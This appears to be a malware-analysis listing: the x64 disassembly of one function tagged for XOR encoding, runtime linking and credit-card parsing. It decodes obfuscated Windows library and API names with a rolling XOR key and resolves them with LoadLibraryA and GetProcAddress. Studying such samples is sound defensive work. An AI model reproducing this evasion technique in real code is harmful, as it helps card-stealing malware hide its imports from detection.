Function at 0x140001600
Capabilities:
Encode data using xor
Link many functions at runtime
Parse credit card information

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov dl, 0x37
movabs rax, 0x5a130e08650b4b60
mov word [rsp + 0x34], 0x2c53
mov byte [rsp + 0x36], 0x41
mov qword [rsp + 0x2c], rax
lea rax, [rsp + 0x2c]
mov rbx, rax
xor byte [rax], dl
inc edx
inc rax
cmp dl, 0x42
jne 0x14000162f
mov rdi, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rbx
call rdi
mov rsi, rax
test rax, rax
je 0x140001bc5
mov word [rsp + 0x34], 0x304a
mov rdx, rbx
movabs rax, 0x4a4f5d4f69786b60
mov byte [rsp + 0x36], 0x41
mov qword [rsp + 0x2c], rax
mov al, 0x37
xor byte [rdx], al
inc eax
inc rdx
cmp al, 0x42
jne 0x140001673
mov rdx, rbx
mov rbp, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rsi
call rbp
mov word [rsp + 0x34], 0x14b
mov rdx, rbx
mov byte [rsp + 0x36], 0x41
mov qword [0x14003a128], rax
movabs rax, 0x5b565f5469786b60
mov qword [rsp + 0x2c], rax
mov al, 0x37
xor byte [rdx], al
inc eax
inc rdx
cmp al, 0x42
jne 0x1400016b4
mov rdx, rbx
mov rcx, rsi
call rbp
mov rdx, rbx
mov qword [0x14003a120], rax
movabs rax, 0x3e495f5e54575754
mov qword [rsp + 0x2c], rax
mov al, 0x37
xor byte [rdx], al
inc eax
inc rdx
cmp al, 0x3f
jne 0x1400016e2
mov rdx, rbx
mov rcx, rsi
call rbp
mov word [rsp + 0x34], 0x304a
mov rdx, rbx
mov byte [rsp + 0x36], 0x41
mov qword [0x14003a118], rax
movabs rax, 0x505c595779786b60
mov qword [rsp + 0x2c], rax
mov al, 0x37
xor byte [rdx], al
inc eax
inc rdx
cmp al, 0x42
jne 0x14000171c
mov rdx, rbx
mov rcx, rsi
call rbp
mov dword [rsp + 0x2c], 0x54564c5f
mov rdx, rbx
mov word [rsp + 0x30], 0x3c48
mov qword [0x14003a110], rax
mov al, 0x37
xor byte [rdx], al
inc eax
inc rdx
cmp al, 0x3d
jne 0x14000174a
mov rdx, rbx
mov rcx, rsi
call rbp
mov word [rsp + 0x34], 0x404d
mov rdx, rbx
mov qword [0x14003a108], rax
movabs rax, 0x5a595d644e5c565e
mov qword [rsp + 0x2c], rax
mov al, 0x37
xor byte [rdx], al
inc eax
inc rdx
cmp al, 0x41
jne 0x14000177f
mov rdx, rbx
mov rcx, rsi
call rbp
mov dword [rsp + 0x2c], 0x4c5a5d45
mov rdx, rbx
mov byte [rsp + 0x30], 0x3b
mov qword [0x14003a100], rax
mov al, 0x37
xor byte [rdx], al
inc eax
inc rdx
cmp al, 0x3c
jne 0x1400017ab
mov rdx, rbx
mov rcx, rsi
call rbp
mov dword [rsp + 0x2c], 0x5e575d44
mov rdx, rbx
mov byte [rsp + 0x30], 0x3b
mov qword [0x14003a0f8], rax
mov al, 0x37
xor byte [rdx], al
inc eax
inc rdx
cmp al, 0x3c
jne 0x1400017d7
mov rdx, rbx
mov rcx, rsi
call rbp
mov dword [rsp + 0x34], 0x42352554
mov rdx, rbx
mov qword [0x14003a0f0], rax
movabs rax, 0x5d524f5e49565454
mov qword [rsp + 0x2c], rax
mov al, 0x37
xor byte [rdx], al
inc eax
inc rdx
cmp al, 0x43
jne 0x14000180d
mov rdx, rbx
mov rcx, rsi
call rbp
cmp qword [0x14003a128], 0
mov qword [0x14003a0e8], rax
je 0x1400018a1
cmp qword [0x14003a120], 0
je 0x1400018a1
cmp qword [0x14003a118], 0
je 0x1400018a1
cmp qword [0x14003a110], 0
je 0x1400018a1
cmp qword [0x14003a0f8], 0
je 0x1400018a1
cmp qword [0x14003a0f0], 0
je 0x1400018a1
test rax, rax
je 0x1400018a1
mov dword [rsp + 0x34], 0x2e2d2411
mov rdx, rbx
movabs rax, 0xc0e505e544b5d5c
mov byte [rsp + 0x38], 0x43
mov qword [rsp + 0x2c], rax
mov al, 0x37
xor byte [rdx], al
inc eax
inc rdx
cmp al, 0x44
jne 0x140001889
mov rcx, rbx
call rdi
mov rdi, rax
test rax, rax
jne 0x1400018b5
mov rcx, rsi
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_FreeLibrary]
movabs rax, 0x4c6d594f5b5c4a74
mov byte [rsp + 0x3a], 0x45
mov dword [rsp + 0x34], 0x31242350
mov word [rsp + 0x38], 0x530
mov qword [rsp + 0x2c], rax
mov al, 0x37
xor byte [rbx], al
inc eax
inc rbx
cmp al, 0x46
jne 0x1400018da
lea rbx, [rsp + 0x2c]
mov rcx, rdi
mov rdx, rbx
call rbp
mov dword [rsp + 0x34], 0x42242c5b
mov rdx, rbx
mov qword [0x14003a0d8], rax
movabs rax, 0x505c745e49565474
mov qword [rsp + 0x2c], rax
mov al, 0x37
xor byte [rdx], al
inc eax
inc rdx
cmp al, 0x43
jne 0x140001915
mov rdx, rbx
mov rcx, rdi
call rbp
mov dword [rsp + 0x3c], 0x4a3d2b22
mov rdx, rbx
mov qword [0x14003a0e0], rax
movabs rax, 0x6d4f537d4e505960
mov qword [rsp + 0x2c], rax
movabs rax, 0x2c270b262e262e56
mov qword [rsp + 0x34], rax
mov al, 0x37
xor byte [rdx], al
inc eax
inc rdx
cmp al, 0x4b
jne 0x14000195a
mov rdx, rbx
mov r12, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
call r12
mov word [rsp + 0x3c], 0x922
mov rdx, rbx
mov qword [0x14003a0d0], rax
movabs rax, 0x52485854774d5d70
mov byte [rsp + 0x3e], 0x49
mov qword [rsp + 0x2c], rax
movabs rax, 0x2b240a262e28065a
mov qword [rsp + 0x34], rax
mov al, 0x37
xor byte [rdx], al
inc eax
inc rdx
cmp al, 0x4a
jne 0x1400019ab
mov rdx, rbx
mov rcx, rdi
call r12
mov word [rsp + 0x34], 0x407e
mov rdx, rbx
mov qword [0x14003a0c8], rax
movabs rax, 0x5b51557d43495774
mov qword [rsp + 0x2c], rax
mov al, 0x37
xor byte [rdx], al
inc eax
inc rdx
cmp al, 0x41
jne 0x1400019e1
mov rdx, rbx
mov rcx, rdi
call r12
mov dword [rsp + 0x34], 0x4232335a
mov rdx, rbx
mov qword [0x14003a0c0], rax
movabs rax, 0x5d524e6b4e504072
mov qword [rsp + 0x2c], rax
mov al, 0x37
xor byte [rdx], al
inc eax
inc rdx
cmp al, 0x43
jne 0x140001a18
mov rdx, rbx
mov rcx, rdi
call r12
cmp qword [0x14003a0d8], 0
mov qword [0x14003a0b8], rax
je 0x140001aa1
cmp qword [0x14003a0e0], 0
je 0x140001aa1
cmp qword [0x14003a0d0], 0
je 0x140001aa1
cmp qword [0x14003a0c8], 0
je 0x140001aa1
cmp qword [0x14003a0c0], 0
je 0x140001aa1
test rax, rax
je 0x140001aa1
mov word [rsp + 0x34], 0x4053
mov rdx, rbx
movabs rax, 0x52591209095c5458
mov qword [rsp + 0x2c], rax
mov al, 0x37
xor byte [rdx], al
inc eax
inc rdx
cmp al, 0x41
jne 0x140001a85
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbp, rax
test rax, rax
jne 0x140001ab0
mov rbx, qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rdi
jmp 0x140001ba1
mov dword [rsp + 0x34], 0x273b2953
mov rdx, rbx
movabs rax, 0x5f54485254705774
mov word [rsp + 0x38], 0x3c06
mov byte [rsp + 0x3a], 0x45
mov qword [rsp + 0x2c], rax
mov al, 0x37
xor byte [rdx], al
inc eax
inc rdx
cmp al, 0x46
jne 0x140001ad8
mov rdx, rbx
mov rcx, rbp
call r12
mov byte [rsp + 0x3c], 0x47
mov rdx, rbx
mov qword [0x14003a0b0], rax
movabs rax, 0x5b495d5e487a5774
mov qword [rsp + 0x2c], rax
movabs rax, 0x23262a2236322e76
mov qword [rsp + 0x34], rax
mov al, 0x37
xor byte [rdx], al
inc eax
inc rdx
cmp al, 0x48
jne 0x140001b1b
mov rdx, rbx
mov rcx, rbp
call r12
mov dword [rsp + 0x34], 0x2b2d2156
mov rdx, rbx
mov word [rsp + 0x38], 0x2139
mov byte [rsp + 0x3a], 0x45
mov qword [0x14003a0a8], rax
movabs rax, 0x4a545252546c5774
mov qword [rsp + 0x2c], rax
mov al, 0x37
xor byte [rdx], al
inc eax
inc rdx
cmp al, 0x46
jne 0x140001b5e
mov rdx, rbx
mov rcx, rbp
call r12
cmp qword [0x14003a0b0], 0
mov rbx, qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov qword [0x14003a0a0], rax
je 0x140001b99
cmp qword [0x14003a0a8], 0
je 0x140001b99
test rax, rax
jne 0x140001ba8
mov rcx, rbp
call rbx
mov rcx, rdi
call rbx
mov rcx, rsi
jmp 0x140001bb5
mov rcx, rsi
call rbx
mov rcx, rdi
call rbx
mov rcx, rbp
mov rax, rbx
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp rax
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret